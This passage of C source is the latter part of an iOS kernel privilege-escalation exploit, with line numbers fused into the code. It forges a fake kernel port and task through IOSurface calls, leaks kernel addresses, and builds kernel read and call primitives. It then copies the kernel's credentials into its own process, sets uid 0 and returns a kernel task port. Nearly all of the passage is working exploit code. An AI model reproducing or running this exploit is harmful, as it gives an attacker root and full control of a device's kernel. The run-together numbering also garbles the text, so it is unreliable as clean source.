NULL);981IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL);982983LOG("%s", "herp derp");984usleep(100000);985sched_yield();986ret = mach_ports_register(self, &client, 1); // gonna use that later987if(ret != KERN_SUCCESS)988{989LOG("mach_ports_register: %s", mach_error_string(ret));990goto out;991}992993// Prevent cleanup994fakeport = port;995port = MACH_PORT_NULL;996997// Release port with ool port refs998RELEASE_PORT(stuffport);9991000ret = my_mach_zone_force_gc(host);1001if(ret != KERN_SUCCESS)1002{1003LOG("mach_zone_force_gc: %s", mach_error_string(ret));1004goto out;1005}10061007#if 01008for(uint32_t i = 0; i < NUM_DATA; ++i)1009{1010dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i);1011kport_t *dptr = (kport_t*)&dict[5];1012for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j)1013{1014*(((volatile uint32_t*)&dptr[j].ip_context) + 1) = 0x10000000 | (j << 20) | i;1015#ifdef __LP64__1016*(volatile uint32_t*)&dptr[j].ip_messages.port.pad = 0x20000000 | (j << 20) | i;1017*(volatile uint32_t*)&dptr[j].ip_lock.pad = 0x30000000 | (j << 20) | i;1018#endif1019}1020uint32_t dummy = 0;1021size = sizeof(dummy);1022ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);1023if(ret != KERN_SUCCESS)1024{1025LOG("setValue(%u): %s", i, mach_error_string(ret));1026goto out;1027}1028}1029#endif1030dummy = 0;1031size = sizeof(dummy);1032ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_big, dictsz_big, &dummy, &size);1033if(ret != KERN_SUCCESS)1034{1035LOG("setValue(big): %s", mach_error_string(ret));1036goto out;1037}10381039uint64_t ctx = 0xffffffff;1040ret = my_mach_port_get_context(self, fakeport, &ctx);1041LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret));1042if(ret != KERN_SUCCESS)1043{1044goto out;1045}10461047uint32_t shift_mask = ctx >> 60;1048if(shift_mask < 1 || shift_mask > 3)1049{1050LOG("%s", "Invalid shift mask.");1051goto out;1052}1053#if 01054uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t));1055#endif1056uint32_t ins = ((shift_mask - 1) * pagesize) % sizeof(kport_t),1057idx = (ctx >> 32) & 0xfffff,1058iff = (ctx >> 52) & 0xff;1059int64_t fp_off = sizeof(kport_t) * iff - ins;1060if(fp_off < 0)1061{1062--idx;1063fp_off += pagesize;1064}1065uint64_t fakeport_off = (uint64_t)fp_off;1066LOG("fakeport offset: 0x%llx", fakeport_off);1067#if 01068dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx);1069#endif1070uint32_t request[] =1071{1072// Same header1073surface.data.id,10740x0,10751076#if 01077transpose(idx), // Key1078#endif10790x0, // Placeholder10800x0, // Null terminator1081};1082kport_t kport;1083VOLATILE_BZERO32(&kport, sizeof(kport));1084kport.ip_bits = 0x80000000; // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE1085kport.ip_references = 100;1086kport.ip_lock.type = 0x11;1087kport.ip_messages.port.receiver_name = 1;1088kport.ip_messages.port.msgcount = MACH_PORT_QLIMIT_KERNEL;1089kport.ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL;1090kport.ip_srights = 99;10911092#if 01093// Note to self: must be `(uintptr_t)&dict[5] + DATA_SIZE` and not `ptr + DATA_SIZE`.1094for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))1095{1096UNALIGNED_COPY(&kport, ptr, sizeof(kport_t));1097}1098#endif10991100ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small);1101LOG("reallocate_fakeport: %s", mach_error_string(ret));1102if(ret != KERN_SUCCESS)1103{1104goto out;1105}11061107// Register realport on fakeport1108mach_port_t notify = MACH_PORT_NULL;1109ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify);1110LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret));1111if(ret != KERN_SUCCESS)1112{1113goto out;1114}11151116#if 01117uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 };1118size = sizeof(response);1119ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);1120LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));1121if(ret != KERN_SUCCESS)1122{1123goto out;1124}1125if(size < DATA_SIZE + 0x10)1126{1127LOG("Response too short.");1128goto out;1129}1130#endif1131kport_t myport;1132VOLATILE_BZERO32(&myport, sizeof(myport));1133ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport);1134if(ret != KERN_SUCCESS)1135{1136goto out;1137}11381139#if 01140uint32_t fakeport_off = -1;1141kptr_t realport_addr = 0;1142for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))1143{1144kptr_t val = UNALIGNED_KPTR_DEREF(&((kport_t*)ptr)->ip_pdrequest);1145if(val)1146{1147fakeport_off = ptr - (uintptr_t)&response[4];1148realport_addr = val;1149break;1150}1151}1152#endif1153kptr_t realport_addr = myport.ip_pdrequest;1154if(!realport_addr)1155{1156LOG("%s", "Failed to leak realport address");1157goto out;1158}1159//LOG("realport addr: " ADDR, realport_addr);1160#if 01161uintptr_t fakeport_dictbuf = (uintptr_t)&dict[5] + fakeport_off;1162#endif11631164// Register fakeport on itself (and clean ref on realport)1165notify = MACH_PORT_NULL;1166ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify);1167LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret));1168if(ret != KERN_SUCCESS)1169{1170goto out;1171}11721173#if 01174size = sizeof(response);1175ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);1176LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));1177if(ret != KERN_SUCCESS)1178{1179goto out;1180}1181if(size < DATA_SIZE + 0x10)1182{1183LOG("Response too short.");1184goto out;1185}1186kptr_t fakeport_addr = UNALIGNED_KPTR_DEREF(&((kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest);1187#endif1188ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport);1189if(ret != KERN_SUCCESS)1190{1191goto out;1192}1193kptr_t fakeport_addr = myport.ip_pdrequest;1194if(!fakeport_addr)1195{1196LOG("%s", "Failed to leak fakeport address");1197goto out;1198}1199LOG("fakeport addr: " ADDR, fakeport_addr);1200kptr_t fake_addr = fakeport_addr - fakeport_off;12011202kport_request_t kreq =1203{1204.notify =1205{1206.port = 0,1207}1208};1209kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq);1210#if 01211UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport));12121213ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));1214LOG("reallocate_buf: %s", mach_error_string(ret));1215if(ret != KERN_SUCCESS)1216{1217goto out;1218}1219#endif1220ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small);1221LOG("reallocate_fakeport: %s", mach_error_string(ret));1222if(ret != KERN_SUCCESS)1223{1224goto out;1225}12261227#define KREAD(addr, buf, len) \1228do \1229{ \1230for(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \1231{ \1232ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \1233if(ret != KERN_SUCCESS) \1234{ \1235LOG("mach_port_set_context: %s", mach_error_string(ret)); \1236goto out; \1237} \1238mach_msg_type_number_t outsz = 1; \1239ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \1240if(ret != KERN_SUCCESS) \1241{ \1242LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \1243goto out; \1244} \1245} \1246} while(0)12471248kptr_t itk_space = 0;1249KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space));1250LOG("itk_space: " ADDR, itk_space);1251if(!itk_space)1252{1253goto out;1254}12551256kptr_t self_task = 0;1257KREAD(itk_space + off->ipc_space_is_task, &self_task, sizeof(self_task));1258LOG("self_task: " ADDR, self_task);1259if(!self_task)1260{1261goto out;1262}12631264kptr_t IOSurfaceRootUserClient_port = 0;1265KREAD(self_task + off->task_itk_registered, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port));1266LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port);1267if(!IOSurfaceRootUserClient_port)1268{1269goto out;1270}12711272kptr_t IOSurfaceRootUserClient_addr = 0;1273KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr));1274LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr);1275if(!IOSurfaceRootUserClient_addr)1276{1277goto out;1278}12791280kptr_t IOSurfaceRootUserClient_vtab = 0;1281KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab));1282LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab);1283if(!IOSurfaceRootUserClient_vtab)1284{1285goto out;1286}12871288// Unregister IOSurfaceRootUserClient port1289ret = mach_ports_register(self, NULL, 0);1290LOG("mach_ports_register: %s", mach_error_string(ret));1291if(ret != KERN_SUCCESS)1292{1293goto out;1294}12951296kptr_t vtab[VTAB_SIZE] = { 0 };1297KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab));12981299kptr_t kbase = (vtab[off->vtab_get_retain_count] & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET;1300for(uint32_t magic = 0; 1; kbase -= KERNEL_SLIDE_STEP)1301{1302KREAD(kbase, &magic, sizeof(magic));1303if(magic == KERNEL_MAGIC)1304{1305break;1306}1307}1308LOG("Kernel base: " ADDR, kbase);13091310#define OFF(name) (off->name + (kbase - off->base))13111312kptr_t zone_map_addr = 0;1313KREAD(OFF(zone_map), &zone_map_addr, sizeof(zone_map_addr));1314LOG("zone_map: " ADDR, zone_map_addr);1315if(!zone_map_addr)1316{1317goto out;1318}13191320#ifdef __LP64__1321vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_x0_x0_0x10);1322#else1323vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_r0_r0_0xc);1324#endif13251326uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? UINT64_ALIGN_UP(fakeport_off + sizeof(kport_t)) : UINT64_ALIGN_DOWN(fakeport_off - sizeof(ktask_t));1327void* faketask_buf = (void*)((uintptr_t)&dict_small[9] + faketask_off);13281329ktask_t ktask;1330VOLATILE_BZERO32(&ktask, sizeof(ktask));1331ktask.a.lock.data = 0x0;1332ktask.a.lock.type = 0x22;1333ktask.a.ref_count = 100;1334ktask.a.active = 1;1335ktask.a.map = zone_map_addr;1336ktask.b.itk_self = 1;1337#if 01338UNALIGNED_COPY(&ktask, faketask_buf, sizeof(ktask));1339#endif1340VOLATILE_BCOPY32(&ktask, faketask_buf, sizeof(ktask));13411342kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK1343kport.ip_kobject = fake_addr + faketask_off;1344kport.ip_requests = 0;1345kport.ip_context = 0;1346#if 01347UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport));1348#endif1349if(fakeport_off + sizeof(kport_t) > pagesize)1350{1351size_t sz = pagesize - fakeport_off;1352VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sz);1353VOLATILE_BCOPY32((void*)((uintptr_t)&kport + sz), &dict_small[9], sizeof(kport) - sz);1354}1355else1356{1357VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sizeof(kport));1358}13591360#undef KREAD1361#if 01362ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));1363LOG("reallocate_buf: %s", mach_error_string(ret));1364if(ret != KERN_SUCCESS)1365{1366goto out;1367}1368#endif1369shmemsz = pagesize;1370dict_small[6] = transpose(idx);1371ret = reallocate_buf(client, surface.data.id, idx, dict_small, dictsz_small);1372LOG("reallocate_buf: %s", mach_error_string(ret));1373if(ret != KERN_SUCCESS)1374{1375goto out;1376}1377if(fakeport_off + sizeof(kport_t) > pagesize)1378{1379shmemsz *= 2;1380dict_small[6] = transpose(idx + 1);1381ret = reallocate_buf(client, surface.data.id, idx + 1, dict_small, dictsz_small);1382LOG("reallocate_buf: %s", mach_error_string(ret));1383if(ret != KERN_SUCCESS)1384{1385goto out;1386}1387}13881389vm_prot_t cur = 0,1390max = 0;1391sched_yield();1392ret = mach_vm_remap(self, &shmem_addr, shmemsz, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE);1393if(ret != KERN_SUCCESS)1394{1395LOG("mach_vm_remap: %s", mach_error_string(ret));1396goto out;1397}1398*(uint32_t*)shmem_addr = 123; // fault page1399LOG("shmem_addr: 0x%016llx", shmem_addr);1400volatile kport_t *fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off);14011402uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0;1403vtab_off = UINT64_ALIGN_UP(vtab_off);1404kptr_t vtab_addr = fake_addr + vtab_off;1405LOG("vtab addr: " ADDR, vtab_addr);1406volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off);1407for(volatile kptr_t *src = vtab, *dst = vtab_buf, *end = src + VTAB_SIZE; src < end; *(dst++) = *(src++));14081409#define MAXRANGES 51410struct1411{1412uint32_t start;1413uint32_t end;1414} ranges[MAXRANGES] =1415{1416{ fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) },1417{ vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) },1418};1419size_t numranges = 2;1420#define FIND_RANGE(var, size) \1421do \1422{ \1423if(numranges >= MAXRANGES) \1424{ \1425/*LOG("FIND_RANGE(" #var "): ranges array too small");*/ \1426goto out; \1427} \1428for(uint32_t i = 0; i < numranges;) \1429{ \1430uint32_t end = var + (uint32_t)(size); \1431if( \1432(var >= ranges[i].start && var < ranges[i].end) || \1433(end >= ranges[i].start && var < ranges[i].end) \1434) \1435{ \1436var = UINT64_ALIGN_UP(ranges[i].end); \1437i = 0; \1438continue; \1439} \1440++i; \1441} \1442if(var + (uint32_t)(size) > pagesize) \1443{ \1444/* LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size));*/ \1445goto out; \1446} \1447ranges[numranges].start = var; \1448ranges[numranges].end = var + (uint32_t)(size); \1449++numranges; \1450} while(0)14511452typedef volatile union1453{1454struct {1455// IOUserClient fields1456kptr_t vtab;1457uint32_t refs;1458uint32_t pad;1459// Gadget stuff1460kptr_t trap_ptr;1461// IOExternalTrap fields1462kptr_t obj;1463kptr_t func;1464uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing1465// OSSerializer::serialize1466kptr_t indirect[3];1467} a;1468struct {1469char pad[OFFSET_IOUSERCLIENT_IPC];1470int32_t __ipc;1471} b;1472} kobj_t;14731474uint32_t fakeobj_off = 0;1475FIND_RANGE(fakeobj_off, sizeof(kobj_t));1476kptr_t fakeobj_addr = fake_addr + fakeobj_off;1477LOG("fakeobj addr: " ADDR, fakeobj_addr);1478volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off);1479VOLATILE_BZERO32(fakeobj_buf, sizeof(kobj_t));14801481fakeobj_buf->a.vtab = vtab_addr;1482fakeobj_buf->a.refs = 100;1483fakeobj_buf->a.trap_ptr = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.obj - (uintptr_t)fakeobj_buf);1484fakeobj_buf->a.break_stuff = 0;1485fakeobj_buf->b.__ipc = 100;14861487fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT1488fakeport_buf->ip_kobject = fakeobj_addr;14891490// First arg to KCALL can't be == 0, so we need KCALL_ZERO which indirects through OSSerializer::serialize.1491// That way it can take way less arguments, but well, it can pass zero as first arg.1492#define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \1493( \1494fakeobj_buf->a.obj = (kptr_t)(x0), \1495fakeobj_buf->a.func = (kptr_t)(addr), \1496(kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \1497)1498#define KCALL_ZERO(addr, x0, x1, x2) \1499( \1500fakeobj_buf->a.obj = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.indirect - (uintptr_t)fakeobj_buf) - 2 * sizeof(kptr_t), \1501fakeobj_buf->a.func = OFF(osserializer_serialize), \1502fakeobj_buf->a.indirect[0] = (x0), \1503fakeobj_buf->a.indirect[1] = (x1), \1504fakeobj_buf->a.indirect[2] = (addr), \1505(kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x2), 0, 0, 0, 0, 0) \1506)1507kptr_t kernel_task_addr = 0;1508int r = KCALL(OFF(copyout), OFF(kernel_task), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0);1509LOG("kernel_task addr: " ADDR ", %s, %s", kernel_task_addr, errstr(r), mach_error_string(r));1510if(r != 0 || !kernel_task_addr)1511{1512goto out;1513}15141515kptr_t kernproc_addr = 0;1516r = KCALL(OFF(copyout), kernel_task_addr + off->task_bsd_info, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0);1517LOG("kernproc addr: " ADDR ", %s, %s", kernproc_addr, errstr(r), mach_error_string(r));1518if(r != 0 || !kernproc_addr)1519{1520goto out;1521}15221523kptr_t kern_ucred = 0;1524r = KCALL(OFF(copyout), kernproc_addr + off->proc_ucred, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);1525LOG("kern_ucred: " ADDR ", %s, %s", kern_ucred, errstr(r), mach_error_string(r));1526if(r != 0 || !kern_ucred)1527{1528goto out;1529}15301531kptr_t self_proc = 0;1532r = KCALL(OFF(copyout), self_task + off->task_bsd_info, &self_proc, sizeof(self_proc), 0, 0, 0, 0);1533LOG("self_proc: " ADDR ", %s, %s", self_proc, errstr(r), mach_error_string(r));1534if(r != 0 || !self_proc)1535{1536goto out;1537}15381539kptr_t self_ucred = 0;1540r = KCALL(OFF(copyout), self_proc + off->proc_ucred, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);1541LOG("self_ucred: " ADDR ", %s, %s", self_ucred, errstr(r), mach_error_string(r));1542if(r != 0 || !self_ucred)1543{1544goto out;1545}15461547int olduid = getuid();1548LOG("uid: %u", olduid);15491550KCALL(OFF(kauth_cred_ref), kern_ucred, 0, 0, 0, 0, 0, 0);1551r = KCALL(OFF(copyin), &kern_ucred, self_proc + off->proc_ucred, sizeof(kern_ucred), 0, 0, 0, 0);1552LOG("copyin: %s", errstr(r));1553if(r != 0 || !self_ucred)1554{1555goto out;1556}1557// Note: decreasing the refcount on the old cred causes a panic with "cred reference underflow", so... don't do that.1558LOG("%s", "stole the kernel's credentials");1559setuid(0); // update host port15601561int newuid = getuid();1562LOG("uid: %u", newuid);15631564if(newuid != olduid)1565{1566KCALL_ZERO(OFF(chgproccnt), newuid, 1, 0);1567KCALL_ZERO(OFF(chgproccnt), olduid, -1, 0);1568}15691570host_t realhost = mach_host_self();1571LOG("realhost: %x (host: %x)", realhost, host);15721573uint32_t zm_task_off = 0;1574FIND_RANGE(zm_task_off, sizeof(ktask_t));1575kptr_t zm_task_addr = fake_addr + zm_task_off;1576LOG("zm_task addr: " ADDR, zm_task_addr);1577volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off);1578VOLATILE_BZERO32(zm_task_buf, sizeof(ktask_t));15791580zm_task_buf->a.lock.data = 0x0;1581zm_task_buf->a.lock.type = 0x22;1582zm_task_buf->a.ref_count = 100;1583zm_task_buf->a.active = 1;1584zm_task_buf->b.itk_self = 1;1585zm_task_buf->a.map = zone_map_addr;15861587uint32_t km_task_off = 0;1588FIND_RANGE(km_task_off, sizeof(ktask_t));1589kptr_t km_task_addr = fake_addr + km_task_off;1590LOG("km_task addr: " ADDR, km_task_addr);1591volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off);1592VOLATILE_BZERO32(km_task_buf, sizeof(ktask_t));15931594km_task_buf->a.lock.data = 0x0;1595km_task_buf->a.lock.type = 0x22;1596km_task_buf->a.ref_count = 100;1597km_task_buf->a.active = 1;1598km_task_buf->b.itk_self = 1;1599r = KCALL(OFF(copyout), OFF(kernel_map), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0);1600LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r));1601if(r != 0 || !km_task_buf->a.map)1602{1603goto out;1604}16051606kptr_t ipc_space_kernel = 0;1607r = KCALL(OFF(copyout), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0);1608LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r));1609if(r != 0 || !ipc_space_kernel)1610{1611goto out;1612}16131614#ifdef __LP64__1615kmap_hdr_t zm_hdr = { 0 };1616r = KCALL(OFF(copyout), zm_task_buf->a.map + off->vm_map_hdr, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0);1617LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r));1618if(r != 0 || !zm_hdr.start || !zm_hdr.end)1619{1620goto out;1621}1622if(zm_hdr.end - zm_hdr.start > 0x100000000)1623{1624LOG("%s", "zone_map is too big, sorry.");1625goto out;1626}1627kptr_t zm_tmp = 0; // macro scratch space1628# define ZM_FIX_ADDR(addr) \1629( \1630zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \1631zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \1632)1633#else1634# define ZM_FIX_ADDR(addr) (addr)1635#endif16361637kptr_t ptrs[2] = { 0 };1638ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));1639ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));1640LOG("zm_port addr: " ADDR, ptrs[0]);1641LOG("km_port addr: " ADDR, ptrs[1]);16421643KCALL(OFF(ipc_kobject_set), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0);1644KCALL(OFF(ipc_kobject_set), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0);16451646r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0);1647LOG("copyin: %s", errstr(r));1648if(r != 0)1649{1650goto out;1651}1652mach_msg_type_number_t mapsNum = 0;1653ret = mach_ports_lookup(self, &maps, &mapsNum);1654LOG("mach_ports_lookup: %s", mach_error_string(ret));1655if(ret != KERN_SUCCESS)1656{1657goto out;1658}1659LOG("zone_map port: %x", maps[0]);1660LOG("kernel_map port: %x", maps[1]);1661if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1]))1662{1663goto out;1664}1665// Clean out the pointers without dropping refs1666ptrs[0] = ptrs[1] = 0;1667r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0);1668LOG("copyin: %s", errstr(r));1669if(r != 0)1670{1671goto out;1672}16731674mach_vm_address_t remap_addr = 0;1675ret = mach_vm_remap(maps[1], &remap_addr, off->sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE);1676LOG("mach_vm_remap: %s", mach_error_string(ret));1677if(ret != KERN_SUCCESS)1678{1679goto out;1680}1681LOG("remap_addr: 0x%016llx", remap_addr);16821683ret = mach_vm_wire(realhost, maps[1], remap_addr, off->sizeof_task, VM_PROT_READ | VM_PROT_WRITE);1684LOG("mach_vm_wire: %s", mach_error_string(ret));1685if(ret != KERN_SUCCESS)1686{1687goto out;1688}16891690kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));1691LOG("newport: " ADDR, newport);1692KCALL(OFF(ipc_kobject_set), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0);1693KCALL(OFF(ipc_port_make_send), newport, 0, 0, 0, 0, 0, 0);1694r = KCALL(OFF(copyin), &newport, OFF(realhost) + off->realhost_special + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0);1695LOG("copyin: %s", errstr(r));1696if(r != 0)1697{1698goto out;1699}17001701task_t kernel_task = MACH_PORT_NULL;1702ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task);1703LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret));1704if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task))1705{1706goto out;1707}17081709*tfp0 = kernel_task;1710*kernelbase = kbase;1711retval = KERN_SUCCESS;17121713out:;1714LOG("%s", "Cleaning up...");1715usleep(100000); // Allow logs to propagate1716if(maps)1717{1718RELEASE_PORT(maps[0]);1719RELEASE_PORT(maps[1]);1720}1721RELEASE_PORT(fakeport);1722for(size_t i = 0; i < NUM_AFTER; ++i)1723{1724RELEASE_PORT(after[i]);1725}1726RELEASE_PORT(port);1727for(size_t i = 0; i < NUM_BEFORE; ++i)1728{1729RELEASE_PORT(before[i]);1730}1731RELEASE_PORT(realport);1732RELEASE_PORT(stuffport);1733RELEASE_PORT(client);1734my_mach_zone_force_gc(host);1735if(shmem_addr != 0)1736{1737_kernelrpc_mach_vm_deallocate_trap(self, shmem_addr, shmemsz);1738shmem_addr = 0;1739}1740if(dict_prep)1741{1742free(dict_prep);1743}1744if(dict_big)1745{1746free(dict_big);1747}1748if(dict_small)1749{1750free(dict_small);1751}1752if(resp)1753{1754free(resp);1755}17561757// Pass through error code, if existent1758if(retval != KERN_SUCCESS && ret != KERN_SUCCESS)1759{1760retval = ret;1761}1762return retval;1763}176417651766